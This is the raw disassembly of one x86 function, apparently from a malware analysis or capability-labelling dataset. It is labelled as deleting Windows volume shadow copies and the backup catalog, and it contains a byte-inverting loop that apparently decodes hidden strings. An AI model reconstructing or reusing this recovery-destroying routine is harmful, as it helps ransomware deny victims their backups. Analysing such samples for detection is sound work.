Function at 0x5165a0
Capabilities:
Delete volume shadow copies
Delete windows backup catalog

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x51681d
sub esp, 0x38
mov eax, dword [esp + 0x40]
test eax, eax
je 0x516637
cmp eax, 1
jne 0x5165d3
mov ecx, dword [esp + 0x3c]
xor edx, edx
xor ebx, ebx
jmp 0x516671
mov ecx, dword [esp + 0x3c]
movzx edx, byte [ecx]
test dl, dl
jne 0x5165e7
movzx ebx, byte [ecx + 1]
test bl, 0x80
je 0x5165f5
cmp dl, 0xff
jne 0x516631
movzx edx, byte [ecx + 1]
test dl, 0x80
je 0x516631
lea eax, [0x54ec2f]
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], 0x1d
mov eax, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], 0x1d
call fcn.00408c10
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0x3c]
lea edx, [0x57dc18]
mov ebx, eax
mov eax, dword [esp + 0x40]
jmp 0x516671
xor edx, edx
xor ebx, ebx
jmp 0x516671
lea eax, [0x549f3d]
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 0xd
mov eax, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], 0xd
call fcn.00408c10
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0x3c]
lea edx, [0x57dc18]
mov ebx, eax
mov eax, dword [esp + 0x40]
test edx, edx
jne 0x516742
lea eax, [0x5395c0]
mov dword [esp], eax
call fcn.0040b1a0
mov eax, dword [esp + 4]
mov dword [esp + 0x24], eax
mov ecx, dword [esp + 0x40]
test ecx, ecx
je 0x5166cc
mov edx, dword [esp + 0x3c]
movzx ebx, byte [edx]
test bl, 0x80
je 0x5166d0
lea eax, [0x535200]
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
call fcn.00447510
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x3c]
mov edx, dword [esp + 0x40]
xor ebx, ebx
jmp 0x516768
mov edx, dword [esp + 0x3c]
nop
mov ebx, dword [eax + 4]
mov ebp, dword [eax + 8]
mov esi, dword [eax + 0xc]
mov dword [esp], ebx
mov dword [esp + 4], ebp
mov dword [esp + 8], esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x44]
mov dword [esp + 0x14], ecx
call fcn.004cb0b0
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
mov ebx, dword [esp + 0x24]
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
mov ecx, dword [0x6573b0]
test ecx, ecx
jne 0x51671f
mov dword [ebx + 4], eax
jmp 0x516727
lea edi, [ebx + 4]
call fcn.0045f3d0
mov byte [ebx], 0
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0
add esp, 0x38
ret
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], edx
mov dword [esp + 0x50], ebx
add esp, 0x38
ret
movzx ebp, byte [ecx + ebx]
xchg ebp, ebx
not ebx
xchg ebp, ebx
xchg ebp, ecx
mov byte [eax + ebx], cl
xchg ebp, ecx
inc ebx
cmp edx, ebx
jle 0x516773
ja 0x516756
jmp 0x516813
nop
mov ecx, dword [esp + 0x24]
mov ebx, dword [ecx + 4]
mov ebp, dword [ecx + 8]
mov esi, dword [ecx + 0xc]
mov dword [esp], ebx
mov dword [esp + 4], ebp
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], edx
call fcn.004cb0b0
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
mov ebx, dword [esp + 0x24]
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
mov ecx, dword [0x6573b0]
test ecx, ecx
jne 0x5167c2
mov dword [ebx + 4], eax
jmp 0x5167ca
lea edi, [ebx + 4]
call fcn.0045f3d0
mov byte [ebx], 0
mov eax, dword [0x630688]
mov dword [esp], ebx
mov dword [esp + 4], ebx
mov dword [esp + 8], eax
call fcn.004c2270
nop
mov eax, dword [esp + 0x24]
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x5167f7
movzx ecx, byte [eax]
xor ecx, 1
jmp 0x5167f9
xor ecx, ecx
mov byte [eax], cl
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0
add esp, 0x38
ret
mov eax, ebx
mov ecx, edx
call fcn.0045f450
nop
call fcn.0045e000
jmp fcn.005165a0